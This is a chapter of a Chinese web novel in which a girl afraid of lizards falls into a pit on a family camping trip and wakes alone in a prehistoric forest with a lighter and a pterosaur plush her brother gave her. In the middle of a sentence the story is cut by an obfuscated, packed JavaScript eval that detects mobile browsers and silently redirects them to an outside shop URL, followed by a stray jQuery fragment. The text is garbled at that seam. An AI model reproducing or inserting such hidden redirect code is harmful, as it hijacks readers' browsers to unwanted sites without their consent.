林小禾觉得自己上辈子一定是个十恶不赦的坏人。
不然老天爷为什么要让她有林小北这种哥哥？
“林小禾你是不是不敢？”林小北蹲在野餐垫旁边，手里捏着一只刚从草丛里逮到的小蜥蜴，笑得像个反派，“就碰一下，又不会死。”
林小禾往后退了三步，声音已经劈叉了：“你拿走！拿走拿走拿走！”
那只蜥蜴还没她小拇指长，青绿色的，趴在林小北指尖上，眼睛圆溜溜的，无辜得不行。但林小禾只觉得那是一条长着腿的蛇——不，比蛇还恐怖。
“你不是说自己连霸王龙都不怕吗？”林小北贱兮兮地把手往前递了一寸。
“霸王龙是电影里的！那是特效！”林小禾又退了三步，撞上了身后的折叠椅，“林小北你再过来我就——”
“你就怎样？”
“我就告诉妈你把她的口红拿去当蜡笔画画那次！”
“你！”林小北脸色一变，迅速把蜥蜴放了，冲过来捂她的嘴，“林小禾你给我闭嘴！”
林小禾得意地弯起眼睛，从他手底下挣脱出来，跑向正在搭帐篷的妈妈：“妈——二哥他拿蜥蜴吓我！”
“林小北。”妈妈头都没抬，把地钉锤进土里，语气平静得像在说今天天气不错。
林小北已经条件反射地站直了：“我错了。”
“今天晚上你没红烧肉吃了。”
“妈！！！”
林小禾躲在妈妈身后，冲二哥做鬼脸。林小北痛苦地捂住胸口，林小禾其实不太爱吃红烧肉，但她喜欢看林小北吃不到的样子。
爸爸蹲在远处的土灶旁，往火堆里添柴，回头看了一眼兄妹俩的闹剧，笑着摇摇头。大哥林小东在不远处支帐篷，全程没抬过眼皮。
这是十月中旬的周末，一家人计划在城南郊野公园露营三天。林小禾的行李袋里塞了三套换洗衣服、充电宝、洗漱用品，还有一堆零食。妈妈说她“搬家似的”，她理直气壮：“露营三天呢，万一弄脏了有的换。”
当然，行李袋最里层还藏着一个白色翼龙玩偶。那是林小北上周送她的——准确地说，是第二个。
——
上周六，林小北突然说请她看电影。
“干嘛？你考试及格了？”林小禾头都没抬。
“你哥我就不能单纯想对你好？”林小北一把抢过她的手机，“《侏罗纪公园》重映，3D的，去不去？”
林小禾眼睛亮了：“你请客？”
“我请。”
“爆米花也你买？”
“……行。”
“可乐也你买？”
“林小禾你得寸进尺啊！”
她笑嘻嘻地挽住林小北的胳膊：“走吧走吧。”
电影院门口买票时，售票员看了他俩一眼：“情侣座吗？只剩最后一排了。”
“不用不用。”林小北抢在前面连连摆手，表情还有点嫌弃。
“他是我哥！”林小禾赶紧解释。
“亲哥。”林小北再次确认，转头看了林小禾一眼，“长得像吗？”
售票员笑了：“兄妹感情真好。”
林小禾拽着林小北往里走，小声说：“又被误会了。”
林小北耸耸肩：“谁让你长得像我。”
“那明明是你长得像我。”
电影开场不到二十分钟，林小禾就后悔了。霸王龙出场时她整个人缩进座位里，把脸埋进林小北的卫衣帽子里，声音闷闷的：“林小北你故意的吧？”
林小北笑得不行，拍了拍她的脑袋：“你睁眼看看，特效多好。”
“我不看！”
后半场她基本半捂着眼睛看完，尤其是翼龙出场那段，巨大的翅膀从头顶掠过，她差点把可乐泼到前排观众头上。
散场后，林小北拉着她去了影院的周边店，从货架上拿下一个白色翼龙玩偶，巴掌大小，圆眼睛，翅膀对称。他把它塞进她手里：“以后绒绒就代替我保护你了。”
“绒绒？”林小禾皱眉，“这名字真土。”
“我刚取的，怎么了？”林小北揉了揉她的头发，“以后你要是害怕了，就想想绒绒。它虽然是玩偶，但它代表我。你哥我，不管什么时候都会保护你的。”
林小禾翻了个白眼，把玩偶揣进口袋：“肉麻死了。”
但她没还回去。
后来那个玩偶的拉绳断了，林小北花了一个周末笨手笨脚地用针线缝了一个新的给她，翅膀歪歪扭扭的。“手工的才有灵魂。”他说。
林小禾接过来说：“这翅膀缝反了吧？”
“没有！那是角度问题！”
她把两个玩偶都收下了。出发露营那天，她犹豫了一下，把歪翅膀的那个塞进了行李袋。
——
下午三点多，阳光开始偏西。
林小北翻出一本野外植物图鉴——不知道什么时候带的——指着远处说：“那边有灌木丛，结了好多红色果子，像覆盆子那种。”
爸爸看了一眼方向：“别走太远，天黑之前回来。”
“放心吧爸。”林小北已经迈开了步子。
“我才不放心你。”林小禾跟上他，很自然地拽住了他的衣角。这是她从小到大的习惯，走路总拽着点什么，林小北说过她好多次“你又不是导盲犬”，但她照拽不误。
大哥林小东不紧不慢跟在最后面。
三个人沿着小路往树林深处走。两旁的蕨类植物越来越密，有些长得比林小禾还高。阳光穿过层层叠叠的叶片，在地上投下形状古怪的影子。
“这地方怎么感觉像恐龙时代。”林小北随手拍了一张照片，“你看这蕨类，跟《侏罗纪公园》里的一模一样。”
林小禾下意识缩了缩脖子：“你别提恐龙行不行。”
“你还怕呢？妈说你小时候看《狮子王》都怕土狼。”
“那是小时候！”林小禾涨红了脸，“而且土狼是真实存在的，我为什么不能怕？”
“那你怕恐龙吗？”
“恐龙不是灭绝了吗？”
“万一没灭绝呢？”林小北突然凑近她，压低声音，“万一丛林深处就藏着一只……”
“林小北！！！”
大哥林小东终于开口了：“别闹了。”
林小北立刻收了声，但嘴角还挂着笑。
林小禾瞪了他一眼，加快脚步走到前面去了。拽着的衣角松开了，她也没在意。
灌木丛就在前方。那些红色果子一簇簇挂在低矮的枝头，在阳光下亮晶晶的。
“就是这个！”林小北从后面追上来，“能吃吗？”
“我又不是神农氏。”林小禾蹲下来仔细看了看，“但长得像树莓，应该——”
话没说完。
她脚下的泥土突然松了。
不是慢慢下陷，是毫无征兆的、像有人在她脚下抽走了整块地皮的那种松。
“小禾！！！”
林小北的声音像从很远的地方传来。
她只来得及看到他的脸在一瞬间变得煞白，看到他伸出的手离自己不到一米。
她伸手去抓。指尖擦过了他的手指，只差一点点。
然后脚下的黑暗吞没了她。
坠落比她想象的要慢。她甚至有时间想：这个坑到底有多深？
然后是撞击。剧痛。黑暗。
——
不知道过了多久。
有人在叫她。声音忽远忽近，像隔了一层厚厚的棉花。
“林小禾。”
“林小禾！！！”
“你再不起来我就把你的奶茶喝光了。”
是林小北的声音。他总是用这种方式叫她起床。
“林小北……你别喝我的奶茶……”她迷迷糊糊地说。
没有人回答。
林小禾艰难地睁开眼皮。
入目的不是医院的白墙，也不是家里的天花板。
是光。刺眼的光。
她眯着眼睛花了十几秒才适应过来。然后她看清了自己头顶的东西——
不是天花板。
是叶子。
巨大的、宽得离谱的、她这辈子都没见过的叶子。
每一片都有她整个人那么大，层层叠叠遮在头顶，阳光从缝隙漏下来。
“……”
林小禾的大脑一片空白。
她躺了大概半分钟，慢慢恢复了一些知觉。后背很疼，左手掌心划了一道口子，血已经干涸结了暗红色的痂。右胳膊肘擦破了皮，卫衣袖子上破了一个洞——出发前妈妈还说过“这件新买的别弄脏了”。
弄脏了。破了个洞。
她撑着地面坐起来，发现身下是一层厚厚的腐殖质，软软的，带着泥土和植物腐败的气味。她的裤子上全是泥，头发里夹着不知名的植物碎屑。
她摸了摸口袋。
左边口袋：打火机。出发前揣的，因为林小北抢了她最后一串烤肉，她气得说要烧他外套。现在这个打火机成了她唯一的现代文明遗产。
右边口袋：一个毛茸茸的东西。
她的手指停了一下，然后慢慢掏出来。
是那只白色翼龙玩偶。圆眼睛，翅膀歪歪的——林小北一针一线缝的。
绒绒。
她出发前把它塞进行李袋，后来又不放心，揣进了口袋。
“绒绒。”她念出它的名字，声音有点抖。
然后她猛地想起一件事——她的行李袋，三套换洗衣服，充电宝，洗漱用品，零食，全都留在营地的帐篷里了。
她现在身上只有一个打火机，一个翼龙玩偶，和一部没有信号的手机。
她掏出手机，按下开机键。
屏幕亮了一下，弹出“无服务”三个字。
没有信号。没有WIFI。连紧急呼叫都用不了。
她盯着那个“无服务”看了五秒钟，然后抬起头，看着头顶那片陌生的、遮天蔽日的巨大蕨叶。
脑子里有一个声音在说：你穿越了。
另一个声音在说：不可能，这不科学。
第三个声音在说：不管科不科学，你先想想怎么活下去。
林小禾选择相信第三个声音。
她站起来，腿有点软，膝盖疼得厉害——牛仔裤膝盖部位磨破了一层，皮肤发红但没有破皮。谢天谢地，她的膝盖还在。
她试着往前走了一步，脚下的蕨类植物发出沙沙的声响。
远处有什么东西叫了一声。声音低沉而悠长，像牛，又不完全像牛。
不，不是像牛。
像电影里恐龙的叫声。
林小禾的脚步停住了。她的脑子里飞速运转：白垩纪，恐龙，巨型蕨类，她掉进坑里，醒来就在这里。
“穿越小说都是这么写的。”她喃喃自语，“女主掉进坑/被车撞/被雷劈，醒来就在异世界。但是——”
她环顾四周，声音拔高了一个度。
“但是人家穿越是穿到古代啊！穿到修仙界啊！谁穿越到恐龙时代啊！！！”
没有人回答她。
远处又传来一声低沉的叫声，这一次更近了。
林小禾深吸一口气，强迫自己冷静下来。
她想到了妈妈的红烧肉，想到了爸爸的火堆，想到了大哥永远波澜不惊的脸，想到了林小北——他最后那个表情，煞白的脸，伸出的手，指尖只差一点点。
还有他说过的话：“以后绒绒就代替我保护你了。”
“林小北！”她突然对着空旷的森林大喊了一声，“你说绒绒会保护我！它就是个玩偶啊！你骗人！”
声音在树林里回荡，惊起远处一群不知名的鸟，翅膀扇动的声音像直升机起飞，哗啦啦消失在树冠之上。
没有人回应。
“你要是也穿越了你就吱一声！吱一声就行！”
沉默。只有远处的叫声，低沉而悠长。
林小禾的鼻子突然酸了。她想哭，但忍住了。因为她想到了一个严肃的问题：如果她真的穿越了，她现在最应该做的不是哭，而是找到吃的、找到水源、找到能过夜的地方。
这些都是她在小说里看来的。
“可是那是小说啊！！！”她终于没忍住，对着天空崩溃地喊了出来，“我又不是贝爷！！！我连蜥蜴都怕！！！”
天空中飘过一片形状奇怪的云，像是某种巨大的翼手龙。
林小禾决定暂时不看天空了。
她在原地站了一会儿，努力让呼吸平稳下来。然后开始回忆求生基本原则：找到水源，找到安全的住所，找到食物，生火。
“生火。”她摸了摸口袋里的打火机，心里稍微有了一点底气。至少她不用钻木取火。
她开始往前走。往低处走，水往低处流，跟着地势往下总能找到溪流。
蕨类植物叶子划过她的小腿，有些带着细小的锯齿，在皮肤上留下一道道白色划痕。她走得很慢，每一步都先试探脚下。
走了大概十几分钟，她隐约听到了水声。循着声音拨开一片巨大的蕨叶，看到一个小小的水洼。水洼不大，水面上漂浮着落叶，但水是清的。
她跪下来，双手捧起一捧水喝了一口。味道有点奇怪，有泥土味，但没有异味。
“应该死不了吧。”
就在这时，她身后有动静。很轻，像有什么东西在落叶上爬行。
林小禾猛地转过身。
一只灰色的、大概有她拳头那么大的、长着长尾巴的东西，正从一片蕨叶下面探出头来，用两只黑豆一样的眼睛看着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680367|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她对视了一秒钟。
那东西“嘶”了一声，缩回蕨叶下面，跑得比兔子还快。
林小禾的心跳飙到一百八，但她没有尖叫。因为她发现了一件很重要的事：那东西比她更怕。
“什么鬼。”她松了一口气，又觉得有点好笑，“连蜥蜴——不对那是什么？四条腿，有鳞片……”
一个连蜥蜴都怕的人，穿越到了到处都是爬行动物的时代。
老天爷，你是不是在跟我开玩笑？
她下意识摸了摸口袋里的绒绒，就像平时拽林小北衣角一样。玩偶没有回应，但她的心跳莫名稳了一些。
她站起来继续往前走。
又走了大概半个小时，蕨类植物越来越密，空气越来越闷热。她开始出汗，卫衣后背湿了一大片，刘海贴在额头上，让她烦躁得不行。她拨了一下刘海，发现自己手上全是泥。
“我现在应该是什么表情？惊恐？绝望？崩溃？”没人回答她，“好吧，那就是没有表情。”
她继续走。
不知道走了多久，水声渐渐变大，变成了真正的、持续的、哗啦啦的水流声。她加快脚步，差点被树根绊倒，跌跌撞撞穿过一片蕨类植物，眼前豁然开朗——
一条小溪。
水流很急，清澈见底。溪水从远处的山坡上流下来，在这里拐了一个弯。
林小禾几乎是用跑的冲向溪边。她蹲下来，把整张脸埋进水里。
冰凉的水刺激着皮肤和神志。她抬起头，甩了甩头发上的水珠，看着自己在水中的倒影：头发乱得像鸟窝，脸上全是泥印子，嘴唇干裂，眼睛红红的——虽然她还没哭。
“林小禾。”她对着水里的自己说，“你还活着，没有受重伤，有打火机，找到了水。所以不要慌。”
说完这句话，她的眼泪突然就掉了下来。
没有声音，只是安静地、大颗大颗地砸进水里，砸碎了自己的倒影。
她想妈妈了，想爸爸了，想大哥了，想林小北了。
“林小北……”她一边哭一边说，“你不是说不管什么时候都会保护我吗？你在哪儿呢？”
她低头看着口袋里露出半个脑袋的白色玩偶，哭得更凶了：“你说绒绒会保护我，它就是个玩偶啊！你倒是过来啊！”
没有人回答。
远处的森林里，再次传来那种低沉的叫声。这一次，叫声更近了。
林小禾抬起头，泪眼模糊地看向声音传来的方向。
她看到了一片巨大的阴影，从树冠之上掠过。
那绝对不是鸟。
那东西的翅膀展开至少有七八米宽，白色的羽毛在阳光下闪着银光，修长的脖颈和头部在低空划过，像一架无声的滑翔机。
林小禾的脑子在这一刻彻底死机了。她张着嘴，眼泪还挂在脸上，就那么直直地盯着那片阴影消失在树冠之上。
过了十几秒，她的脑子重新开始运转。
“啊啊啊啊啊啊啊啊啊——————”
尖叫声在森林里回荡。
她抱着膝盖蹲在溪边，把脸埋进手臂里，哭得比刚才更大声：“真的有恐龙！！！妈我要回家！！！我不要在白垩纪！！！我要吃红烧肉！！！”
哭着哭着，她突然想起什么，从口袋里摸出那个白色翼龙玩偶，举到眼前。玩偶的玻璃眼珠在阳光下闪光，翅膀歪歪的，像在歪头看她。
“绒绒。”她抽噎着说，“你刚才看到了吗？那只白色的……跟你好像。”
她把它贴在心口，哭得更大声了：“林小北你个大骗子！”
天色渐渐暗了。
林小禾哭了大概半小时，终于没力气了。她抽着鼻子用袖子擦了一把脸，站起来寻找过夜的地方。
她在溪边不远的地方找到了一个岩洞。不深，大概两三米，但足够一个人蜷在里面避风。洞口朝东，地面干燥，没有明显的动物痕迹。
她钻进去，靠着洞壁坐下来，把膝盖抱在胸前。夜风从洞口灌进来，带着植物和泥土的潮湿气息。远处的叫声渐渐远了。
她摸出口袋里的打火机，打了一下。火苗跳起来，在黑暗中映出一个小小的橘色光晕。
“至少我还有你。”她对打火机说，声音沙哑。
然后她摸出绒绒，把它放在膝盖上，低头看着它。
“绒绒。”她说，“你说，我明天能找到吃的吗？”
玩偶没有回答。
“你说，我还能回去吗？”
没有回答。
“你说，林小北现在在干什么？是不是在哭？他肯定在哭。他要是敢不哭，我回去就把他鞋藏起来。”
说着说着，她的眼泪又掉了下来。
她不知道自己是怎么睡着的。可能是哭累了，可能是在某个瞬间身体终于撑不住了。
梦里，她回到了那个电影院。林小北把白色翼龙玩偶塞进她手里，说：“以后绒绒就代替我保护你了。”
她翻了个白眼说肉麻，但把玩偶攥得很紧。
然后场景切换到了露营地。妈妈在煮汤，爸爸在添柴，大哥在看书，林小北在烤一串蘑菇——烤糊了，被妈妈骂了一顿。
一切都很正常。一切都很温暖。
然后她醒了。
洞外的天已经亮了。阳光从洞口斜斜地照进来，在她脚边画出一道光斑。
林小禾睁开眼睛，发现自己还活着，还在这个岩洞里，手里还攥着那个白色的玩偶。
她慢慢地坐起来，看着洞外那一片完全陌生的、属于白垩纪的天空和森林。
“……不是梦。”她苦笑了一下。
肚子在这时发出一声巨响。
她低头看了一眼自己的肚子，沉默了三秒钟，然后深吸一口气，把绒绒塞进口袋，扶着洞壁站了起来。
“好吧。”她说，声音沙哑但比昨天稳了一些，“林小禾，今天的目标是：活下去。”
她走出岩洞，阳光刺得她眯起眼睛。
远处，一只巨大的白色翼龙再次展翅飞过天际，银色的羽毛在晨光中闪闪发亮。
这一次，她看到了。
她停下脚步，仰着头，看着那个身影消失在天际。然后低头看了一眼口袋里露出的玩偶的脑袋，小声说了一句：
“……真的好像啊。”
风吹过来，吹乱了她的刘海。她烦躁地拨了一下，迈出了第一步。
白垩纪，第二天。
一个怕蜥蜴的高一女生，开始了她的生存之旅。
而她不知道的是，在她转身的那一刻，远处树冠之上，那只白色翼龙低低地盘旋了一圈，落在一棵大树上，歪着头，看着她远去的方向。
它的眼睛圆圆的，黑曜石一样闪亮。
像极了那个玩偶。